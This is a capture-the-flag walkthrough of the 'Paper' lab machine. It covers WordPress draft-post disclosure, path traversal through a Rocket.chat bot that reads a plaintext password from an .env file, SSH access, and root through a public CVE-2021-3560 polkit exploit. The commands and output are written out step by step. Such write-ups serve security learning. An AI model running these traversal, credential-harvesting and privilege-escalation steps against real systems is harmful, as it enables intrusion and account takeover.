Paper

Enumeration

Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.143 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.143.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
| 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-title: HTTP Server Test Page powered by CentOS
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after: 2022-07-08T10:32:34
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
We have a an Apache webserver running on ports 80 and 443 in addition to SSH on port 22. Browsing to the website shows "HTTP Server Test Page powered by CentOS".

Apache

Directory bruteforcing doesn't provide any details: gobuster dir -u http://10.10.11.143 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt., Couldn't find any vulnerabilties for the Apache/OpenSSL/PHP versions (x-powered-by header: PHP/7.2.24) being used.
Running nikto with nikto -h http://10.10.11.143 finds Uncommon header 'x-backend-server' found, with contents: office.paper. So, lets add that to the /etc/hosts file: echo "10.10.11.143 office.paper" | sudo tee -a /etc/hosts.

Wordpress

office.paper is a wordpress instance. Browsing around we find the page http://office.paper/index.php/2021/06/19/feeling-alone/ with a comment saying "Michael, you should remove the secret content from your drafts ASAP, as they are not that secure as you think! -Nick," which indicates that there is information in drafted posts for us to find.
Let's run wpscan: wpscan --url http://office.paper.
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| - X-Powered-By: PHP/7.2.24
| - X-Backend-Server: office.paper
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] WordPress readme found: http://office.paper/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05).
| Found By: Rss Generator (Passive Detection)
| - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
| - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
|
| [!] 31 vulnerabilities identified:
|
| [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
| Fixed in: 5.2.4
| References:
| - https://wpscan.com/vulnerability/d39a7b84-28b9-4916-a2fc-6192ceb6fa56
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
| Fixed in: 5.2.4
| References:
| - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
| - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
| - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
|
| [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags
| Fixed in: 5.2.4
| References:
| - https://wpscan.com/vulnerability/d005b1f8-749d-438a-8818-21fba45c6465
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning
| Fixed in: 5.2.4
| References:
| - https://wpscan.com/vulnerability/7804d8ed-457a-407e-83a7-345d3bbe07b2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation
| Fixed in: 5.2.4
| References:
| - https://wpscan.com/vulnerability/26a26de2-d598-405d-b00c-61f71cfacff6
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation
| Fixed in: 5.2.4
| References:
| - https://wpscan.com/vulnerability/715c00e3-5302-44ad-b914-131c162c3f71
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API
| Fixed in: 5.2.5
| References:
| - https://wpscan.com/vulnerability/4a6de154-5fbd-4c80-acd3-8902ee431bd8
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw
|
| [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links
| Fixed in: 5.2.5
| References:
| - https://wpscan.com/vulnerability/23553517-34e3-40a9-a406-f3ffbe9dd265
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20042
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://hackerone.com/reports/509930
| - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7
|
| [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content
| Fixed in: 5.2.5
| References:
| - https://wpscan.com/vulnerability/be794159-4486-4ae1-a5cc-5c190e5ddf5f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v
|
| [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass
| Fixed in: 5.2.5
| References:
| - https://wpscan.com/vulnerability/8fac612b-95d2-477a-a7d6-e5ec0bb9ca52
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53
|
| [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated
| Fixed in: 5.2.6
| References:
| - https://wpscan.com/vulnerability/7db191c0-d112-4f08-a419-a1cd81928c4e
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47634/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw
|
| [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts
| Fixed in: 5.2.6
| References:
| - https://wpscan.com/vulnerability/d1e1ba25-98c9-4ae7-8027-9632fb825a56
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47635/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w
|
| [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer
| Fixed in: 5.2.6
| References:
| - https://wpscan.com/vulnerability/4eee26bd-a27e-4509-a3a5-8019dd48e429
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47633/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c
|
| [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Search Block
| Fixed in: 5.2.6
| References:
| - https://wpscan.com/vulnerability/e4bda91b-067d-45e4-a8be-672ccf8b1a06
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11030
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47636/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-vccm-6gmc-qhjh
|
| [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache
| Fixed in: 5.2.6
| References:
| - https://wpscan.com/vulnerability/e721d8b9-a38f-44ac-8520-b4a9ed6a5157
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47637/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c
|
| [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads
| Fixed in: 5.2.6
| References:
| - https://wpscan.com/vulnerability/55438b63-5fc9-4812-afc4-2f1eff800d5f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47638/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2
| - https://hackerone.com/reports/179695
|
| [!] Title: WordPress <= 5.2.3 - Hardening Bypass
| Fixed in: 5.2.4
| References:
| - https://wpscan.com/vulnerability/378d7df5-bce2-406a-86b2-ff79cd699920
| - https://blog.ripstech.com/2020/wordpress-hardening-bypass/
| - https://hackerone.com/reports/436928
| - https://wordpress.org/news/2019/11/wordpress-5-2-4-update/
|
| [!] Title: WordPress < 5.4.2 - Authenticated XSS in Block Editor
| Fixed in: 5.2.7
| References:
| - https://wpscan.com/vulnerability/831e4a94-239c-4061-b66e-f5ca0dbb84fa
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4046
| - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rpwf-hrh2-39jf
| - https://pentest.co.uk/labs/research/subtle-stored-xss-wordpress-core/
| - https://www.youtube.com/watch?v=tCh7Y8z8fb4
|
| [!] Title: WordPress < 5.4.2 - Authenticated XSS via Media Files
| Fixed in: 5.2.7
| References:
| - https://wpscan.com/vulnerability/741d07d1-2476-430a-b82f-e1228a9343a4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4047
| - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-8q2w-5m27-wm27
|
| [!] Title: WordPress < 5.4.2 - Open Redirection
| Fixed in: 5.2.7
| References:
| - https://wpscan.com/vulnerability/12855f02-432e-4484-af09-7d0fbf596909
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4048
| - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/10e2a50c523cf0b9785555a688d7d36a40fbeccf
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-q6pw-gvf4-5fj5
|
| [!] Title: WordPress < 5.4.2 - Authenticated Stored XSS via Theme Upload
| Fixed in: 5.2.7
| References:
| - https://wpscan.com/vulnerability/d8addb42-e70b-4439-b828-fd0697e5d9d4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4049
| - https://www.exploit-db.com/exploits/48770/
| - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-87h4-phjv-rm6p
| - https://hackerone.com/reports/406289
|
| [!] Title: WordPress < 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation
| Fixed in: 5.2.7
| References:
| - https://wpscan.com/vulnerability/b6f69ff1-4c11-48d2-b512-c65168988c45
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4050
| - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/dda0ccdd18f6532481406cabede19ae2ed1f575d
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4vpv-fgg2-gcqc
|
| [!] Title: WordPress < 5.4.2 - Disclosure of Password-Protected Page/Post Comments
| Fixed in: 5.2.7
| References:
| - https://wpscan.com/vulnerability/eea6dbf5-e298-44a7-9b0d-f078ad4741f9
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25286
| - https://wordpress.org/news/2020/06/wordpress-5-4-2-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/c075eec24f2f3214ab0d0fb0120a23082e6b1122
|
| [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure
| Fixed in: 5.2.10
| References:
| - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450
| - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
| - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq
| - https://core.trac.wordpress.org/changeset/50717/
| - https://www.youtube.com/watch?v=J2GXmxAdNWs
|
| [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer
| Fixed in: 5.2.11
| References:
| - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296
| - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62
| - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/
| - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9
| - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/
| - https://www.youtube.com/watch?v=HaW15aMzBUM
|
| [!] Title: WordPress < 5.8.2 - Expired DST Root CA X3 Certificate
| Fixed in: 5.2.13
| References:
| - https://wpscan.com/vulnerability/cc23344a-5c91-414a-91e3-c46db614da8d
| - https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/
| - https://core.trac.wordpress.org/ticket/54207
|
| [!] Title: WordPress < 5.8 - Plugin Confusion
| Fixed in: 5.8
| References:
| - https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44223
| - https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/
|
| [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query
| Fixed in: 5.2.14
| References:
| - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
| - https://hackerone.com/reports/1378209
|
| [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs
| Fixed in: 5.2.14
| References:
| - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w
| - https://hackerone.com/reports/425342
| - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability
|
| [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query
| Fixed in: 5.2.14
| References:
| - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86
|
| [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites
| Fixed in: 5.2.14
| References:
| - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h
| - https://hackerone.com/reports/541469
[+] WordPress theme in use: construction-techup
| Location: http://office.paper/wp-content/themes/construction-techup/
| Last Updated: 2021-07-17T00:00:00.000Z
| Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt
| [!] The version is out of date, the latest version is 1.4
| Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1
| Style Name: Construction Techup
| Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a...
| Author: wptexture
| Author URI: https://testerwp.com/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <==========================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
Based on the comment we found, it looks like "WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts" is going to be the exploit we want to use. Navigating to wpscan.com link, we see a proof of concept, http://wordpress.local/?static=1&order=asc. However, this didn't work. Exploring another linked page that goes into more detail, we see that just using http://wordpress.local/?static=1 should work. Navigating to http://office.paper/?static=1 we see the below post:
test
Micheal please remove the secret from drafts for gods sake!
Hello employees of Blunder Tiffin,
Due to the orders from higher officials, every employee who were added to this blog is removed and they are migrated to our new chat system.
So, I kindly request you all to take your discussions from the public blog to a more private chat system.
-Nick
# Warning for Michael
Michael, you have to stop putting secrets in the drafts. It is a huge security issue and you have to stop doing it. -Nick
Threat Level Midnight
A MOTION PICTURE SCREENPLAY,
WRITTEN AND DIRECTED BY
MICHAEL SCOTT
[INT:DAY]
Inside the FBI, Agent Michael Scarn sits with his feet up on his desk. His robotic butler Dwigt….
# Secret Registration URL of new Employee chat system
http://chat.office.paper/register/8qozr226AhkCHZdyY
# I am keeping this draft unpublished, as unpublished drafts cannot be accessed by outsiders. I am not that ignorant, Nick.
# Also, stop looking at my drafts. Jeez!
We have discoverd a new subdomain. Let's add it to /etc/hosts: echo "10.10.11.143 chat.office.paper" | sudo tee -a /etc/hosts.

Rocket.chat

Navigating to http://chat.office.paper reveals a rocket.chat instance. Going to the "Secret Registration URL", http://chat.office.paper/register/8qozr226AhkCHZdyY, shows a registration page. After signing up we see the rocket.chat interface. We can click the globe icon in the top left to see a directory of channels we can join. The general channel has messages about how a bot, "recyclops," was recently added. We can direct message the bot to interaction with it. Running the recyclops help command lists the available commands.

Foothold

Interactions with the recyclops bot to find some useful information:
$ recyclops list sale
total 4
drwxr-xr-x 2 dwight dwight 27 Sep 15 13:03 .
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 ..
-rw-r--r-- 1 dwight dwight 158 Sep 15 13:03 portfolio.txt
$ recyclops file sale/portfolio.txt
<!=====Contents of file sale/portfolio.txt=====>
Portfolio
----------
- Bill
- Served the country in war
- Family built the country
- purchased paper worth a million dollars
- will probably fire me.
<!=====End of file sale/portfolio.txt=====>
$ recyclops list .
total 0
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 .
drwx------ 11 dwight dwight 281 Feb 6 07:46 ..
drwxr-xr-x 2 dwight dwight 27 Sep 15 13:03 sale
drwxr-xr-x 2 dwight dwight 27 Jul 3 2021 sale_2
$ recyclops list sale_2
total 4
drwxr-xr-x 2 dwight dwight 27 Jul 3 2021 .
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 ..
-rw-r--r-- 1 dwight dwight 113 Jul 3 2021 portfolio.txt
$ recyclops file sale_2/portfolio.txt
<!=====Contents of file sale_2/portfolio.txt=====>
Portfolio
----------
- Christian
- Still No idea how micheal made the sale!
- Need further clarifications.
<!=====End of file sale_2/portfolio.txt=====>
$ recyclops list ..
total 32
drwx------ 11 dwight dwight 281 Feb 6 07:46 .
drwxr-xr-x. 3 root root 20 Jan 14 06:50 ..
lrwxrwxrwx 1 dwight dwight 9 Jul 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 dwight dwight 18 May 10 2019 .bash_logout
-rw-r--r-- 1 dwight dwight 141 May 10 2019 .bash_profile
-rw-r--r-- 1 dwight dwight 358 Jul 3 2021 .bashrc
-rwxr-xr-x 1 dwight dwight 1174 Sep 16 06:58 bot_restart.sh
drwx------ 5 dwight dwight 56 Jul 3 2021 .config
-rw------- 1 dwight dwight 16 Jul 3 2021 .esd_auth
drwx------ 2 dwight dwight 44 Jul 3 2021 .gnupg
drwx------ 8 dwight dwight 4096 Sep 16 07:57 hubot
-rw-rw-r-- 1 dwight dwight 18 Sep 16 07:24 .hubot_history
drwx------ 3 dwight dwight 19 Jul 3 2021 .local
drwxr-xr-x 4 dwight dwight 39 Jul 3 2021 .mozilla
drwxrwxr-x 5 dwight dwight 83 Jul 3 2021 .npm
drwxr-xr-x 4 dwight dwight 32 Jul 3 2021 sales
drwx------ 2 dwight dwight 6 Sep 16 08:56 .ssh
-r-------- 1 dwight dwight 33 Feb 14 21:05 user.txt
drwxr-xr-x 2 dwight dwight 24 Sep 16 07:09 .vim
$ recyclops file ../bot_restart.sh
<!=====Contents of file ../bot_restart.sh=====>
#!/bin/bash
# Cleaning hubot's log so that it won't grow too large.
echo "" > /home/dwight/hubot/.hubot.log
# For starting the bot 20-ish (10+20) seconds late, when the server is restarted.
# This is because MongoDB and Rocket-Chat server needs some time to startup properly
sleep 10s
# Checks if Hubot is running every 10s
while [ 1 ];
do
sleep 20s
alive=$(/usr/sbin/ss -tulnp|grep 8000);
if [[ -n $alive ]]; then
err=$(grep -i 'unhandled-rejections=strict' /home/dwight/hubot/.hubot.log)
if [[ -n $err ]]; then
# Restarts bot
echo "[-] Bot not running!
date";
#Killing the old process
pid=$(ps aux|grep -i 'hubot -a rocketchat'|grep -v grep|cut -d " " -f6);
kill -9 $pid;
cd /home/dwight/hubot;
# Cleaning hubot's log so that it won't grow too large.
echo "" > /home/dwight/hubot/.hubot.log
bash /home/dwight/hubot/start_bot.sh&
else
echo "[+] Bot running succesfully! date";
fi
else
# Restarts bot
echo "[-] Bot not running! date
";
#Killing the old process
pid=$(ps aux|grep -i 'hubot -a rocketchat'|grep -v grep|cut -d " " -f6);
kill -9 $pid;
cd /home/dwight/hubot;
bash /home/dwight/hubot/start_bot.sh&
fi
done
<!=====End of file ../bot_restart.sh=====>
$ recyclops file ../.hubot_history
!=====Contents of file ../.hubot_history=====>
time
connect
help
<!=====End of file ../.hubot_history=====>
$ recyclops file ../hubot/start_bot.sh
<!=====Contents of file ../hubot/start_bot.sh=====>
#!/bin/bash
cd /home/dwight/hubot
source /home/dwight/hubot/.env
/home/dwight/hubot/bin/hubot
#cd -
<!=====End of file ../hubot/start_bot.sh=====>
$ recyclops file ../hubot/.env
<!=====Contents of file ../hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<!=====End of file ../hubot/.env=====>

Lateral Movement

As you can see, running recyclops file ../hubot/.env gives us a password of Queenofblad3s!23. Using that password to SSH into the box as the user dwight (since that name has been mentioned a lot and it is the user whose file we have been browsing) works. We can now cat user.txt and get the user flag.

Privilege Escalation

Connect with calebstewart/pwncat with pwncat-cs [email protected]. Pwncat's built-in escalation techniques (escalate list -u root) do not work. Upload LinPEAS to the box with upload linpeas.sh. Then, run LinPEAS with bash linpeas.sh
LinPEAS immediately tells us that the installed version of sudo is vulnerable to CVE-2021-3560.
I initially read CVE-2021-3560 as CVE-2021-4034, which are both polkit local privilege escalation vulnerabilities. CVE-2021-4034 is a very recent exploit (disclosed to public on January 25th, 2022) and I thought it unlikely to be the intended solution because it is so new. Downloading berdav/CVE-2021-4034 as a ZIP file, copying the file over, unzipping it, running make in the directory, and then executing ./cve-2021-4034 doesn't work:
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
If we run ls -la /usr/bin/pkexec we can see that the permissions are -rwxr-xr-x not -rwsr-xr-x.
The older polkit local privilege escalation exploit, CVE-2021-3560 (Official blog post by person who discovered exploit), is the one that LinPEAS recommended and it does work.
Searching GitHub for this CVE finds several repositories, but after trying several, secnigma/CVE-2021-3560-Polkit-Privilege-Esclation seems to work the best at the time of writing. Download the script, upload it to the target machine, and then run it like so: ./poc.sh -u=john -p=john. Then, run su - john to switch to the new user and execute sudo bash to get a root shell. I was able to get this root shell after running the script for the third time.
Finally, cat /root/root.txt to get the root flag.
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Enumeration
Nmap
Apache
Wordpress
Rocket.chat
Foothold
Lateral Movement
Privilege Escalation